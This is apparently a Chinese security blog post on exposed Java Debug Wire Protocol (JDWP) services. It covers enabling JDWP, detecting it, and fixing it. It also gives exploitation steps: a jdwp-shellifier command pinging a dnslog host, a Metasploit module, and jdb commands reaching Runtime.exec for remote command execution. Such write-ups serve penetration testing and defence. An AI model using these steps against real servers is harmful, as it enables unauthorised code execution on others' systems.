JDWP

JDWP(Java Debug Wire Protocol Transport Interface)协议是用于调试器(debugger)和被调试的Java虚拟机(Target VM)之前的通信协议
启动方式
JDK自带
1 | java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5050 -jar xxx.jar |
idea
选择启动文件中的编辑配置的Run/Debug Configuratiions中配置
maven
1 | mvn spring-boot:run -Drun.jvmArguments=**"-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8001" |
tomcat
windows下
bin
目录下的startup.bat文件中加入
1 | SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000 |
然后cmd运行startup.bat就可以在8000端口上开启JDWP协议了
或者直接
1 | /tomcat/bin/catalina.bat jpda run |
linux下
bin目录下找到 catalina.sh
文件,加入
1 | CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:8000" |
或者直接
1 | /tomcat/bin/catalina.sh jpda run |
探测
可疑端口:8000 5005 8080
探测主要是利用了jdwp握手阶段互发JDWP-Handshake的特性
1.nmap和fscan
很多情况下扫不出来jdwp服务,会显示http-alt
2.python探测脚本
1 | import socket |
利用
1>jdwp-shellifier(此工具需要python2环境)
该漏洞无回显,可利用dnslog进行探测
1 | python2 jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexof" --cmd "ping xxx.dnslog.cn" |
2>msf
在msf中可以使用exploit/multi/misc/java_jdwp_debugger模块进行攻击利用。
原理是去找sleeping中的线程,然后下发单步指令是程序断下来,从而触发命令执行。
1 | use exploit/multi/misc/java_jdwp_debugger |
3>JDB
jdb是JDK中自带的命令行调试工具。
这里是按照msf中的方式:
- attach到远程JDWP服务;
- threads命令查看所有线程,查找sleeping的线程;
- thread sleeping的线程id,然后stepi进入该线程;
- 通过print|dump|eval命令,执行Java表达式从而达成命令执行;
命令:
1 | jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8000 |
1 | threads |
1 | thread <线程id>(如0xc6a) |
1 | stepi |
1 | eval java.lang.Runtime.getRuntime().exec("calc") |
回显利用:为JDWP远程命令执行加上回显
修复
- 关闭JDWP服务,或限制JDWP服务只对指定ip开放;
- 关闭Java Debug模式
- Title: JDWP
- Author: mapl3miss
- Created at : 2025-07-31 12:06:55
- Updated at : 2025-07-31 12:08:22
- Link: https://redefine.ohevan.com/2025/07/31/JDWP/
- License: This work is licensed under CC BY-NC-SA 4.0.
Comments